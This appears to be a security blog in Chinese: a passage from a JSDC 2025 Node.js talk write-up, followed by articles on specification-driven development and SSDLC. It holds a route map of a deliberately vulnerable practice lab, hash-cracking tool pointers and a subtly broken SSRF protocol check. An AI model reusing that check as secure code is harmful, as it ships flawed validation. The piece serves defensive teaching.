    if (dangerous.includes(key)) continue;
    target[key] = source[key];
  }
  return target;
}

5.4 防禦 SSRF

const { URL } = require('url');

const allowedHosts = ['api.example.com', 'data.example.com'];

app.get('/fetch', async (req, res) => {
  const { url } = req.query;

  try {
    const parsedUrl = new URL(url);

    // 白名單驗證
    if (!allowedHosts.includes(parsedUrl.hostname)) {
      return res.status(403).send('Access denied');
    }

    // 只允許 HTTP/HTTPS
    if (!['https:', ' https:'].includes(parsedUrl.protocol)) {
      return res.status(400).send('Invalid protocol');
    }

    const response = await axios.get(url);
    res.json(response.data);
  } catch (error) {
    res.status(400).send('Invalid URL');
  }
});

5.5 防禦 Path Traversal

const path = require('path');

app.get('/api/file', (req, res) => {
  const filename = req.query.filename;

  // 只取檔名,移除路徑
  const safeFilename = path.basename(filename);

  // 確認路徑在允許的目錄內
  const filePath = path.join(__dirname, 'upload', safeFilename);
  const uploadDir = path.join(__dirname, 'upload');

  if (!filePath.startsWith(uploadDir)) {
    return res.status(403).send('Access denied');
  }

  // 讀取檔案...
});

第三部分:Lab 路徑總整理

漏洞類型 Lab 路徑 HTTP 方法
SQL Injection /api/articles/:id GET
XSS(反射型) /search?keyword= GET
XSS(DOM-based) /form GET/POST
JWT 誤用 /api/auth/login POST
敏感資料洩露 /api/users/:id GET
SSRF /fetch?url= GET
SSTI – JsRender /ssti/JsRender-demo POST
SSTI – PugJS /ssti/PugJS-demo POST
SSTI – Nunjucks /ssti/Nunjucks-demo POST
反序列化 /api/serialize POST
Path Traversal /api/pathTraversal?filename= GET
Cache Pollution /api/cache/ GET
XXE /load_xml POST
NoSQL Injection /api/product/filter?category= GET
檔案上傳 /upload GET/POST
CRLF Injection /redirect?url= GET

結論:Node.js Matters?

對攻擊者而言

是的,但不是全部。

  • 60-70% 的漏洞與語言無關(SQL Injection、XSS、SSRF 等)
  • 20-30% 需要 Node.js 專業知識(Prototype Pollution、SSTI、反序列化)
  • 這 20-30% 往往可以導致 RCE(遠端程式碼執行)

對防禦者而言

是的,請擁抱你的技術。

  1. 理解 Node.js 的安全特性
  2. 建立 Node.js 特定的安全檢查清單
  3. 善用生態系統:helmet、express-validator、npm audit

💬 講者原話:「評估是否需要處理敏感的資料,有沒有在做個資的處理。個資法很重要,現在最高罰 1500 萬,所以請不要為了你們公司內部的這種個資的問題,或是你在幫客戶去寫程式碼的時候,忽略這件事情。」

安全的本質沒有變

無論使用什麼語言:

  • 永遠不信任使用者輸入
  • 最小權限原則
  • 深度防禦

參考資源


本文整理自 JSDC 2025 演講內容。所有攻擊 Payload 僅供學習用途,請在授權環境中練習。


附錄:Q&A 精選

以下是演講後的 Q&A 環節精華:

Q1:被雜湊過的密碼還可以利用嗎?

💬 講者回答:「我們可以破解雜湊。第一個叫 Hashcat 可以破解,另外一個叫 CMD5 的網站。這個中國的網站,你把雜湊丟進去之後,它會自動幫你進行反解。」

「你說雜湊不能反解嗎?這邊有個攻擊叫彩虹表,它在後端 map 純文字密碼跟雜湊的值。你會發現有時候查下去需要錢,這是他們的商業模式。」

密碼破解工具

  • Hashcat:本地端 GPU 加速破解
  • John the Ripper:經典密碼破解工具
  • CMD5.com:線上雜湊查詢服務(彩虹表)

Q2:Vibe Coding 造成很多漏洞,怎麼看?

💬 講者回答:「工作機會有啦!沒錯,就是工作機會。我越喜歡大家使用 Vibe Coding,我就越有更多漏洞可以打。」

「這是個資安工程師的想法,但實際上我們會發現 Vibe Coding 在寫程式碼的時候,如果你有再看 Code 的話…因為我有一些 Vibe Coding 客戶是不會看 Code 的。」

「我們覺得未來應該會有一些自動化的 AI 工具可以幫我們掃描,其實現在已經有了。但我們會發現這些 AI 資安掃描的自動化工具,你可能掃完描你還會看不懂。Vibe Coding 看不懂,那你可能就要叫 AI 改。」

講者本次示範的程式碼

「我在這次示範的程式碼全部都是 Vibe Coding 寫出來的,那時候還是用 GPT 寫的,現在應該可以寫出更漂亮、更好看的,因為有 Claude Code。」

Q3:有什麼破壞不可否認性的案例嗎?

💬 講者回答:「有時候你寫日誌的時候寫的太明白,日誌裡面可以找到帳號密碼。你把 Console Log 裡面塞了一大堆東西為了要 Debug,然後我可以從日誌裡面看到一些內容。」

「還有就是駭客進去之後把你日誌刪掉。不要覺得駭客不會做這種事情,有些駭客進去之後把所有的事情亂搞,亂搞完之後就開始進行日誌的清理,把你的日誌也清掉。」

日誌安全建議

  • 不要在日誌中記錄敏感資訊(密碼、Token)
  • 將日誌傳送到獨立的日誌伺服器
  • 設定日誌不可刪除(append-only)
  • 定期備份日誌

Q4:MCP 有成熟的攻擊語法跟注入方法嗎?

💬 講者回答:「有。MCP 本身有時候會變成惡意的軟體,就是你信任這個 MCP,那我就可以在這 MCP 裡面用這個去偷你電腦裡面的東西。」

「實際上我們在使用 MCP 的時候,應該要注意它到底請求哪些權限、做了什麼事情。我相信很多 Vibe Coding 的人他不會覺得 MCP 有什麼風險,但就是有風險。」

MCP 安全建議

  • 只使用可信來源的 MCP
  • 檢查 MCP 請求的權限範圍
  • 在沙盒環境中測試新的 MCP
  • 定期審查已安裝的 MCP

Q5:有推薦的掃描工具嗎?

💬 講者回答:「掃描工具有分黑箱跟白箱。白箱就是打開看得到裡面的程式碼。如果是黑箱的話你可以用 OWASP ZAP。現在 AI 工具其實也可以,可以用一些 OWASP 他們開發的工具,這是開源免費的。」

推薦工具清單

類型 工具 說明
黑箱測試 OWASP ZAP 免費開源,功能強大
黑箱測試 Burp Suite 業界標準,有免費版
白箱測試 SonarQube 程式碼品質與安全掃描
白箱測試 Snyk npm 套件漏洞掃描
依賴檢查 npm audit Node.js 內建
AI 輔助 GitHub Copilot 可以幫忙找漏洞

講者提醒

大家都不要成為腳本小子,我不想要看你等一下又被警察抓走。就算被抓走,不要說我教的,今天走出去你們就忘記這一切。」

回去的時候可以跟資安 Team 做好朋友,但是在座開發者可能常常會跟資安人員吵架…」

「練習環境:nodelab.feifei.tw(回去可以打打看,記得通知我,我會幫你重開)」

[安全需求] 001 SDD 是什麼?讓規格決定安全:從 Specification-Driven Development 看軟體資安新思維

SDD 並不會自動幫你補上資安防護,
但它改變了遊戲規則——因為它讓安全從「規格」那一刻就能被設計、被追蹤、被驗證。


一、程式碼不再是王:從「寫程式」變成「寫規格」

在過去的軟體開發裡,我們總是先寫程式、再回頭寫文件。
結果就是——文件永遠落後,安全永遠被遺忘。

Specification-Driven Development(SDD,規格驅動開發) 正是為了解決這個問題。
它讓規格(specification)成為整個開發的「唯一真實(single source of truth)」。

不再用程式去「解釋規格」,而是讓規格「生成程式」。

在這個模式裡:

  • 規格檔(spec.md)定義功能、使用者故事與安全需求。
  • AI 或生成工具根據規格自動建立架構、測試、與實作任務。
  • 每次修改規格,程式與測試都會重新生成。

也就是說,程式碼變成規格的衍生品。
這種模式不只改變開發流程,也讓安全可以「語言化、結構化、被驗證」。


二、SDD 與資安的交集:安全從此可被設計

傳統的 Secure SDLC(安全軟體開發生命週期)裡,
安全需求常被寫在 Excel、PPT 或 PDF 裡,
上線後大家才發現漏洞一堆。

而在 SDD 裡,安全變成可執行規格(executable spec)
也就是安全需求會直接被寫進系統規格文件中,
並被版本控制、被測試、被生成。

範例:登入系統的安全規格

## 功能:使用者登入系統

### 使用者故事
- 使用者可使用 Email/密碼登入。
- 密碼錯誤超過 5 次,自動鎖帳 15 分鐘。
- 所有請求必須透過 HTTPS。

### 安全需求
- 密碼至少 12 碼,含大小寫與特殊符號。
- 成功登入後簽發 JWT(30 分鐘有效)。
- 登入行為須記錄於 security_log。

這份 spec.md 不只是參考文件,
它可以被工具(如 Speckit、OpenAI、或自建 parser)解析成:

  • 測試腳本(模擬錯誤登入、HTTPS 驗證)
  • API 規約(OpenAPI + JWT requirement)
  • 自動任務(建立 security_log、紀錄登入事件)

    飛飛觀點:
    SDD 不會幫你「想出」防護,但能讓防護成為程式生成的一部分
    從此安全不再被遺忘在文件裡。


三、從文件到契約:安全變成版本化的程式結構

在 SDD 專案中,所有功能都有自己的「規格資料夾」:

specs/005-payment-system/
  ├─ spec.md        # 功能與安全描述  
  ├─ plan.md        # 技術實作計畫  
  ├─ contracts/     # API 合約與權限設定  
  ├─ tests.md       # 自動化測試場景  
  └─ tasks.md       # 產生的開發任務清單  

這樣一來:

  • 資安審查可以直接檢查規格而非代碼。
  • 每次版本更新,安全需求自動隨規格同步。
  • 外部稽核可直接檢視規格版本差異(Diff)。

    技術補充:
    這些規格可用 Git 追蹤差異、用 Markdown Linter 或自訂 Parser 檢查完整性,
    甚至整合 CI/CD pipeline(如 GitHub Actions、GitLab CI)在 Pull Request 時自動跑檢查。


四、技術實作案例:把資安寫進規格

檔案上傳

傳統方式:
開發者寫「可以上傳圖片」。

SDD 實作規格:

## 檔案上傳
- 允許副檔名:.jpg、.png  
- 檔案大小上限:5MB  
- 上傳後即執行 ClamAV 掃描  
- 檔案暫存於 /uploads/tmp  

工具實作:

  • 解析 spec.md 生成 OpenAPI + JSON Schema 驗證邏輯。
  • 自動生成 Python 單元測試(pytest)或 Postman Collection。
  • CI 在部署前跑安全掃描與檔案上傳測試。

表單輸入驗證

## 表單輸入驗證
- 所有輸入需伺服器端驗證。  
- 禁止 HTML 標籤。  
- 特殊字元需 HTML 編碼。  
- 提交後紀錄來源 IP 與 User-Agent。  

實作方式:

  • 規格 → 自動生成驗證模組(使用 Joi / Pydantic)。
  • 自動產生 E2E 測試確認 XSS 防護。

金流 API

## 金流 API
- 所有請求需使用 HMAC 簽章。  
- 交易金額與幣別需雙重驗證。  
- 錯誤訊息不得回傳內部堆疊資訊。  
- 所有交易記錄需附 UUID 供稽核。  

實務應用:
這份規格能直接生成 Swagger API 規約與自動測試;
當規格修改時,CI 會比對前後版本,若刪掉了安全欄位(如 HMAC),
pipeline 會直接 Fail。


五、AI 在 SDD 中的角色:幫你確保一致,而不是代你思考

很多人以為 AI = 自動補漏洞。
但在 SDD 的世界裡,AI 更像是規格守門員(Spec Guardian)

它不會替你設計防護,
但會在規格不完整時發出警告:

[NEEDS CLARIFICATION: 此 API 是否需要 JWT 驗證?]  
[SECURITY WARNING: 新增的 upload API 未定義副檔名白名單]  

這不是「AI 的靈光乍現」,
而是透過三個具體技術步驟實現的。


模板與欄位驗證

在 spec-template.md 裡加上必填欄位:

## 安全需求
- 認證方式(必填):JWT / OAuth / Session  
- 角色權限(必填):Admin / User / Guest  
- Rate Limit(必填):__ 次/分鐘  
- 是否加密敏感資料(必填):Yes / No  

空著不填 → AI 會自動補上 [NEEDS CLARIFICATION]。


靜態分析(Linter)檢查

用 Spectral、Markdownlint 或自訂 Node 腳本掃描 spec.md。

if (/upload/i.test(spec) &amp;&amp; !spec.includes(&#039;副檔名&#039;)) {
  console.error(&#039;[SECURITY WARNING] 上傳 API 未定義副檔名白名單&#039;);
}
if (!spec.includes(&#039;JWT&#039;) &amp;&amp; /api/i.test(spec)) {
  console.error(&#039;[NEEDS CLARIFICATION] API 是否需驗證 Token?&#039;);
}

在 PR 或 CI Pipeline 內自動執行,未通過即阻擋合併。


AI 語意檢查(Semantic Audit)

透過 GPT / Claude / Llama-3 實作「語意比對」。

Prompt 範例:

任務:審查以下規格的安全完整性。
請輸出不一致與遺漏的項目,格式如下:
[NEEDS CLARIFICATION: ...]
[SECURITY WARNING: ...]

這樣 AI 就能指出「規格沒定義 JWT」、「錯誤回應洩漏細節」等問題。


飛飛觀點:
AI 不會幫你修安全,但會幫你「看見安全」。
真正的安全文化,是在程式被寫出前就被驗證。


六、資安人員的新角色:從「守門人」到「語言設計師」

傳統角色 SDD 時代角色
撰寫安全政策文件 建立可執行安全規格模板
審查程式碼 審查 spec.md 是否涵蓋必要防護
手動測試漏洞 定義自動化安全測試條件
發現問題 制定安全憲章(Constitution)並交由 CI 驗證

安全人員不再只是稽核,而是與開發者一起「設計安全語言」。


七、組織導入建議

SDD 的精神再好,如果沒有制度支撐、沒有範例可依循,
最終還是會變成一場「文件改革」——寫得漂亮,卻沒人實際用。

導入 SDD 的關鍵不在技術,而在流程與文化的轉變。
以下是我在輔導企業與團隊時最常用的四個落地步驟。


從模板開始:建立團隊的「安全語言」

任何規格驅動開發的第一步,都是統一語言
建議先建立一份通用的 security_spec_template.md,
內容可依公司產品特性擴充,但建議至少包含:

## 安全需求(Security Requirements)
- 認證機制(Authentication):JWT / OAuth2 / API Key
- 權限控制(Authorization):角色矩陣、資源可見性
- 輸入驗證(Input Validation):XSS / SQLi / File Upload Policy
- 敏感資料保護(Data Protection):加密 / Masking / Logging Policy
- 錯誤處理(Error Handling):避免回傳堆疊資訊
- 稽核與追蹤(Audit &amp; Traceability):事件日誌保存期限、審查責任人

建議做法:

  • 用 Git 版本控制這份模板,確保每個專案都使用最新版。
  • 可以參考 [OWASP ASVS Level 2] 作為欄位依據。
  • 讓開發者能直接複製模板開新 feature 目錄,如:
/specs/feature-012-login-system/spec.md

納入 Pull Request 流程:讓規格審查成為開發日常

規格如果沒有綁流程,會被遺忘。
因此第二步是:讓安全規格審查成為 CI Gate。

具體做法如下:

  1. CI 驗證機制:

    • 於 Pull Request(PR)提交時,自動檢查是否附上 spec.md。
    • 若規格未更新或安全欄位為空,PR 自動退回。
    • 可使用 GitHub Actions、GitLab CI 或 Jenkins pipeline 實現。
  2. 規格自動比對(Spec Diff):

    • 每次修改 PR 時,CI 自動比較規格前後版本,
      若發現安全條件被刪除(例如移除了「JWT 認證」),
      則標記 [SECURITY WARNING]。
  3. AI 審查補助:

    • 在 PR 最下方自動附上「AI 規格檢查報告」,列出 [NEEDS CLARIFICATION] 與 [SECURITY WARNING]。

飛飛觀點:
安全不該成為開發流程的「加分題」,而應是「基本題」。
當流程自動提醒、審查可追蹤,團隊自然會習慣「先寫規格、再寫程式」。


規格審查會議(Spec Review):安全與開發共同決策

就像設計審查(Design Review),安全也需要被討論。
規格審查會議 是讓開發、測試、資安在同一張桌上思考「安全邏輯」的時刻。

實施方式:

  • 每週固定一次 30 分鐘「Spec Review」會議。
  • 專案成員輪流展示新功能的 spec.md,重點講安全設計。
  • 資安人員協助檢查規格完整性(如:是否定義權限矩陣、輸入驗證策略)。
  • 會後將共識回寫進規格檔,留下審查紀錄。

這樣做的好處:

  • 開發與安全人員可以在「還沒寫程式前」就釐清風險。
  • 安全決策變得可追蹤、有文件依據。
  • 對外稽核時,可直接出示「安全規格審查紀錄」。

教育與案例庫:讓安全規格成為可複用資產

最後,也是最重要的:
把規格變成知識,而不是一次性文件。

建立一個「安全規格案例庫(Security Spec Library)」,
每次新專案或新功能都能快速複用。

範例可包含:

  • JWT 登入範例:完整的登入/登出流程與 Token 生命週期。
  • 檔案上傳範例:副檔名白名單、大小限制、惡意檔掃描邏輯。
  • SQL Injection 防護範例:ORM Parameter Binding 示範與測試案例。
  • Log Policy 範例:敏感欄位遮蔽、審計日誌格式。

技術補充:

  • 可使用 Git 子模組或私有 npm/pip 套件封裝通用規格。
  • 每季度更新案例庫,納入近期漏洞教訓與新防護範式。
  • 在入職培訓時加入「規格實作演練」,讓新人從 Day 1 就接觸 SDD 思維。

飛飛觀點:
導入 SDD 就像建立一座有紀律的城市。
模板是城市的法規,PR Gate 是交通號誌,教育是公民素養。
當每個開發者都能理解「安全規格=系統的建築藍圖」,
SSDLC 才真正成為日常文化,而不是政策口號。


八、從 Secure Coding 到 Secure Specifying

在 SSDLC by 飛飛,我常說:

「安全不是程式碼寫得多嚴,而是需求一開始就夠清楚。」

過去我們教開發者 Secure Coding;
未來要教的是 Secure Specifying

當安全需求被語言化、模板化、版本化,
安全就不再是「事後檢查」,而是「程式生成的自然結果」。


九、結語:安全不只是文件,而是可執行的真實

SDD 不是魔法,它仍需要人的設計與判斷。
但它讓安全有了新的可能:

把「意圖」轉成「行動」,把「防護」寫進「規格」。

當安全能被設計、被追蹤、被再生,
安全文化就不再只是喊口號——而是每天都在發生。


延伸閱讀

[SSDLC] 001 什麼是 SSDLC?讓安全融入開發的每個階段

在台灣與全球的軟體產業中,開發速度往往被視為成功的關鍵。但想像一下,你蓋了一棟漂亮的房子,卻忘記裝防盜門和監視器,當小偷光顧時才急著補救——這就是許多企業面對資安問題的真實寫照。

隨著雲端架構、API 與 AI 系統的普及,安全性已經不是「有最好、沒有也還行」的選項,而是「沒有就完蛋」的基本條件。許多企業在產品上線後才收到滲透測試報告,發現漏洞百出,或者遭遇資安事件,品牌形象一夕崩盤。這種「事後修補」就像房子蓋好才發現地基有問題,代價極高且難以根治。

這正是 SSDLC(Secure Software Development Life Cycle,安全開發生命週期) 被提出的原因。它的核心理念是:與其事後補破網,不如一開始就把安全編織進每一條開發的經緯線。

一、從 SDLC 到 SSDLC:不只是能動,還要安全地動

傳統的 SDLC(Software Development Life Cycle)就像開車只看「車子會不會跑」,強調系統可用性與交付效率。但 SSDLC 則進一步追問:「煞車靈不靈?安全帶扣好了嗎?有沒有定期保養?」

換個比喻來說:

SDLC 關注「軟體能不能動」
就像廚師專注菜色好不好吃

SSDLC 關注「軟體能不能安全地動」
就像廚師不僅要菜好吃,還要確保食材新鮮、廚房衛生、不會讓客人吃壞肚子

SSDLC 並非推翻 SDLC,而是進化版的開發文化。它透過制度化、工具化與教育化的方式,讓開發團隊在設計、寫程式、測試、上線等每個環節都能主動管理風險,而不是被動應對災難。

二、SSDLC by 飛飛的核心理念:安全不是枷鎖,是護城河

SSDLC by 飛飛 是結合資安教育與實務導入的知識平台,主張「安全不是恐懼,而是創造的基礎」。

想像你在建造一座城堡。沒有護城河和城牆的城堡,再華麗也經不起侵略;但有了堅固防禦的城堡,才能讓裡面的人安心生活、創造繁榮。

對開發者而言,SSDLC 不只是防禦駭客的盾牌,更是一種能夠:

1. 減少重做成本:越早抓蟲,省越多錢
就像裝潢房子,如果水電配置錯誤在牆壁還沒封起來前發現,改一改就好;但如果等磁磚都貼完才發現,整面牆都要打掉重來。資安漏洞也一樣,設計階段發現可能只要調整架構,但產品上線後才發現,可能要整個系統大翻修。

2. 提升開發品質:安全的程式碼通常也是好程式碼
安全設計會逼你把邏輯想清楚、把權限管理做好、把錯誤處理寫完整,這些習慣會讓整個系統變得更穩定、更好維護。就像練武術不只能防身,還能強身健體、提升反應力。

3. 建立信任品牌:安全等於專業的代名詞
當客戶知道你的產品經過嚴格的安全把關,就像看到餐廳貼著衛生優良認證,自然更願意信任你、選擇你。

SSDLC 的價值,不在於多一層繁瑣的檢查,而是讓團隊建立「安全即品質」的文化基因。

三、SSDLC 的七大階段:從規劃到維運的安全閉環

以下是 SSDLC by 飛飛 的七階段教學架構,就像蓋房子從畫設計圖到交屋保固的完整流程:

階段一:安全需求定義(Requirements)

就像蓋房子前先確認:要防震、防火、防盜

在這個階段,你要先問清楚:這個系統會處理什麼樣的資料?需要符合哪些法規(如個資法、金管會規定)?誰可以看什麼資料?使用者隱私怎麼保護?

核心任務:分析法規要求、資料分類(哪些是敏感資料)、權限設定、隱私保護機制

台灣情境舉例:如果你在做線上購物網站,這階段就要確認信用卡資料要加密、個資要依照個資法處理、未成年使用者需要家長同意等需求。


階段二:安全設計(Design)

就像畫建築藍圖時,標明消防通道、監視器位置、保全系統

確立系統的安全架構與防禦策略。這階段要做威脅建模,想像駭客會從哪裡攻擊,然後預先設計防護機制。

核心任務:威脅建模、系統邊界分析、安全設計原則(如最小權限原則、縱深防禦)

台灣情境舉例:設計一個銀行 App 時,你會規劃:登入要雙因素驗證、轉帳要簡訊 OTP 確認、敏感操作要重新輸入密碼、連續錯誤會鎖帳號。這些都是設計階段就要想好的安全機制。


階段三:安全實作(Implementation)

就像施工時確保用的是防火建材、電線符合安全規範

在寫程式時落實安全準則。這階段最常見的問題是開發者為了趕進度,忽略了安全編碼原則。

核心任務:安全編碼(防 SQL Injection、XSS 等)、依賴套件管理、憑證與金鑰保護、敏感資料加密

台灣情境舉例:你在寫登入功能時,密碼不能明碼存在資料庫,要用 bcrypt 或 Argon2 加密;使用者輸入的資料要過濾驗證,避免 SQL Injection;第三方套件要確認沒有已知漏洞才能用。

常見陷阱:很多台灣新創團隊為了快速上線,直接複製貼上網路上的程式碼範例,卻沒注意範例可能有安全漏洞,就像買便宜的山寨建材,表面看起來沒問題,但經不起考驗。


階段四:安全驗證(Verification)

就像房子蓋好後,要請結構技師檢查、消防設備檢測

確認系統的防禦措施真的有效,而不只是紙上談兵。

核心任務:

  • SAST(靜態分析):檢查程式碼本身有沒有漏洞,就像 X 光檢查建築結構
  • DAST(動態分析):實際運行系統並攻擊看看,就像請專業小偷測試防盜系統
  • 滲透測試:找專業駭客模擬真實攻擊
  • 供應鏈檢測:檢查使用的第三方套件有沒有漏洞

台灣情境舉例:你的電商網站上線前,除了功能測試,還要:用工具掃描有沒有常見漏洞、請資安公司做滲透測試、檢查用的 npm 套件有沒有已知漏洞。


階段五:安全部署(Deployment)

就像房子蓋好驗收後,正式交屋搬入

系統上線前的最後一關。確保運行環境的安全設定到位,不讓程式碼的安全努力功虧一簣。

核心任務:系統強化(關閉不必要的服務和 Port)、安全設定檢查(CIS Benchmark)、容器與雲端環境安全設定、部署流程安全

情境舉例:你的電商網站準備上線,這階段要確認:伺服器關閉 Debug 模式、Docker 不用 root 執行、AWS Security Group 只開放必要的 Port、HTTPS 強制啟用。

真實案例: 統X官網因為 debug 模式沒有關閉,造成資料庫帳號密碼洩漏。任何人只要有存取資料庫的 IP ,皆可透過帳號密碼存取資料。


階段六:安全維運(Operation)

就像房子住進去之後,持續保養、定期檢查消防設備、更新保全系統

系統上線不是結束,而是安全工作的新開始。駭客會不斷找新的攻擊方式,你也要持續強化防禦。

核心任務:監控異常行為、事件回應機制、自動修補漏洞、定期複測與漏洞管理

情境舉例:你的網站上線後,要監控是否有異常登入嘗試、定期更新伺服器與套件版本、準備好被攻擊時的應變計畫(就像火災逃生計畫)。

真實案例:2021 年台灣某大型論壇因為沒即時更新 Apache Struts 版本,被駭客利用已知漏洞入侵,導致會員資料外洩。這就是維運階段沒做好的慘痛教訓。


階段七:教育與持續改進(Education & Continuous Improvement)

就像定期舉辦社區防災演練、分享防盜經驗

技術會進步,攻擊手法會更新,團隊的安全意識也要跟著成長。

核心任務:內部教育訓練、安全度量指標追蹤、建立學習與分享機制

台灣情境舉例:每季舉辦一次資安教育訓練,讓工程師實際操作攻擊練習平台(如 OWASP Juice Shop),親身體驗漏洞是怎麼被利用的。或是當發生安全事件後,不是指責誰犯錯,而是開檢討會議,分享「我們學到什麼」。


這七個階段就像一個循環,不斷優化、不斷進步,形成「從開發到維運」的安全閉環防禦系統。

四、導入 SSDLC 的四大挑戰與破解之道

挑戰一:安全會拖慢開發進度?

迷思:「加入安全檢查,專案會delay」

真相:就像開車繫安全帶,花幾秒鐘能救你一命。早期發現漏洞的成本,遠低於上線後被攻擊的損失。

解決方案:導入自動化安全工具,整合進 CI/CD Pipeline,讓安全檢查與程式提交同步進行。就像現在的車子都有自動煞車系統,不需要你額外操作,但關鍵時刻能救命。

台灣實例:某台灣金融科技新創導入自動化掃描後,發現平均每次部署只多花 5 分鐘,但能提前抓到 80% 的常見漏洞,大幅減少後期修補時間。


挑戰二:團隊沒有專職資安人員

迷思:「我們公司小,請不起資安團隊」

真相:安全不一定要專人,但一定要有人重視。

解決方案:導入 Security Champion 計畫,讓每個開發小組選出一位「安全倡導者」,他不是資安專家,而是願意多學一點資安知識、在團隊內推廣安全實踐的開發者。就像班上的衛生股長,不需要是清潔專家,但要帶頭維持環境整潔。

實作建議:每個月給 Security Champion 一些時間學習資安知識,並在團隊內分享。公司可以提供資源(如線上課程、書籍、研討會門票)支持他們成長。


挑戰三:開發者覺得資安很無聊、很難懂

迷思:「資安都是一堆專有名詞,聽不懂也不想懂」

真相:資安其實很有趣,尤其當你親手攻破一個漏洞時。

解決方案:教育是 SSDLC 的根基,但教法要對。別用冗長的文件和無聊的簡報,而是讓開發者親手玩攻擊練習平台,像玩遊戲闖關一樣學資安。

推薦資源:

  • OWASP Juice Shop:故意有漏洞的購物網站,你可以當駭客攻擊它
  • WebGoat:OWASP 出品的互動式資安教學平台
  • HackTheBox:全球知名的資安練習平台,有中文社群

台灣情境:某軟體公司每季舉辦「安全挑戰賽」,讓工程師組隊攻破 Juice Shop 的關卡,前三名有獎金。結果大家玩得超開心,而且真的學到很多。


挑戰四:第三方套件和 API 依賴的風險

迷思:「我用的都是知名套件,應該沒問題」

真相:2021 年底的 Log4Shell 漏洞告訴我們,再知名的套件也可能有嚴重漏洞。而且現代系統嚴重依賴開源套件,一個專案可能間接依賴上百個套件。

解決方案:導入 SCA(Software Composition Analysis) 工具與 SBOM(Software Bill of Materials),就像食品包裝上的成分標示,清楚列出你的軟體用了哪些第三方元件、版本是什麼、有沒有已知漏洞。

實作建議:使用工具如 Snyk、OWASP Dependency-Check,整合進 CI/CD,每次 build 都自動檢查依賴套件的安全性。

台灣實例:某台灣電商平台導入 Snyk 後,發現他們用的某個支付套件有嚴重漏洞,緊急更新後避免了可能的資料外洩風險。

五、在你的團隊落地 SSDLC:從零到一的實戰指南

知道理論很重要,但更重要的是「怎麼開始做」。以下是務實的導入步驟:

第一步:建立安全政策與標準流程

讓安全成為公司級的原則,不是各自解讀的「看著辦」。

實作方式:

  • 制定「安全編碼規範」文件,列出必須遵守的原則(如密碼要加密、輸入要驗證)
  • 定義「安全事件處理流程」,讓大家知道發現漏洞該找誰、怎麼處理
  • 將安全要求納入專案規劃的 checklist

台灣建議:可以參考 OWASP 的 Cheat Sheet 系列,翻譯成中文並客製化成你們公司的版本。


第二步:選定一個專案試行,小步快跑

不要一開始就全公司推行,選一個適合的專案當試點。

理想選擇:

  • 即將開發的新專案(乾淨的開始)
  • 或是願意嘗試新做法的團隊
  • 或是處理敏感資料的系統(如會員系統、金流系統)

實作方式:

  • 在這個專案導入安全需求定義、威脅建模、自動化掃描
  • 記錄遇到的問題與解決方法
  • 專案結束後做回顧,評估效果

第三步:導入自動化檢查工具,讓機器幫你把關

人會累、會忘記,但機器不會。

推薦工具:

  • SAST(靜態分析):SonarQube、Semgrep
  • DAST(動態分析):OWASP ZAP、Burp Suite
  • SCA(元件分析):Snyk、OWASP Dependency-Check
  • Secret 掃描:GitGuardian、TruffleHog(防止把密碼、API key 推上 Git)

整合方式:在 CI/CD Pipeline 加入安全檢查關卡,如果發現嚴重漏洞就自動阻擋部署。

台灣建議:很多工具有免費版或開源版本,中小企業可以先從免費工具開始,不要因為預算問題就放棄安全。


第四步:建立回饋機制,讓錯誤變成學習

安全問題不只是修補,更是成長的機會。

實作方式:

  • 當發現漏洞時,開「無咎會議」(blameless postmortem),焦點是「我們學到什麼」,而非「誰的錯」
  • 建立內部知識庫,記錄常見漏洞與修復方法
  • 定期舉辦「安全分享會」,讓團隊成員交流經驗

文化營造:讓大家知道「發現問題是貢獻,隱瞞問題才是罪過」。鼓勵開發者主動回報可疑的程式碼,而不是擔心被責備。


第五步:衡量成效,用數據說話

沒有度量,就沒有改進。

建議追蹤的指標:

  • 漏洞發現時間:從程式碼寫出到發現漏洞的平均時間(越短越好)
  • 漏洞修補時間:從發現到修復的平均時間
  • 高風險漏洞數量:每次掃描發現的嚴重漏洞數(應該逐漸下降)
  • 誤報率:工具誤判的比例(太高會讓人不信任工具)
  • 訓練參與率:團隊成員完成資安訓練的比例

實作建議:每季做一次報告,呈現這些指標的趨勢,讓團隊看到進步。

六、SSDLC 的未來:AI 是助手,人才是核心

AI 與自動化正在改變 SSDLC 的面貌,讓落地更有效率:

AI 在安全開發的應用:

  • 智慧程式碼審查:AI 協助檢查程式碼,不只抓語法錯誤,還能指出潛在的安全漏洞,並解釋為什麼這樣寫有風險
  • 自動威脅建模:輸入系統架構圖,AI 自動分析可能的攻擊路徑
  • AI 資安導師:像 GitHub Copilot 但專注在安全,寫程式時即時提示安全寫法

台灣發展:隨著 AI 技術普及,台灣的資安新創也在開發本地化的 AI 資安工具,更符合台灣企業的需求與法規(如個資法)。

但技術終究只是輔助,最關鍵的是「人」與「文化」。再先進的工具,如果團隊沒有安全意識,還是會被繞過或忽略。

SSDLC by 飛飛強調:

真正成熟的安全開發團隊,不是沒有漏洞,而是能快速發現、理解並修正漏洞。

就像醫生不敢說能治好所有病,但好的醫生能快速診斷、對症下藥。好的開發團隊也是如此——不是不犯錯,而是犯錯後能迅速修正並從中學習。

七、結語:讓安全成為創造的基石,而非創造的絆腳石

安全開發並非限制創意,而是讓創意得以長久存在的保障。就像音樂家需要樂理基礎才能自由即興,開發者掌握安全原則後,反而能更大膽創新,因為知道自己築起了堅固的防線。

SSDLC by 飛飛希望讓更多華語開發者理解:安全不只是防禦,而是信任與品質的展現。

當每一行程式碼都承載著安全意識,軟體的價值,不只是功能,而是信任。

在這個數位時代,使用者把他們的資料、隱私、甚至生活交給你的系統。你的程式碼不只是 0 與 1 的排列組合,更是一份沉甸甸的信任託付。

讓我們一起,用 SSDLC 打造值得信賴的軟體。


延伸閱讀:站在巨人的肩膀上

1. OWASP SAMM:安全開發成熟度模型

這是評估團隊安全開發能力的框架,就像健康檢查,幫你了解現在在哪裡、該往哪裡進步。

官方網站:https://owaspsamm.org
GitHub 專案:https://github.com/OWASP/samm


2. NIST SP 800-218:美國政府的安全開發框架

美國國家標準與技術研究院(NIST)出品,雖然是政府文件,但寫得很實用,適合各種規模的組織參考。

官方文件:https://csrc.nist.gov/publications/detail/sp/800-218/final


3. Microsoft SDL:微軟的安全開發實踐

微軟花了二十年建立的安全開發流程,從慘痛教訓中累積的經驗,非常值得學習。

官方網站:https://www.microsoft.com/en-us/securityengineering/sdl


你不是一個人在戰鬥。全球有無數開發者、資安專家正在這條路上前進,讓我們一起讓軟體世界更安全、更值得信賴。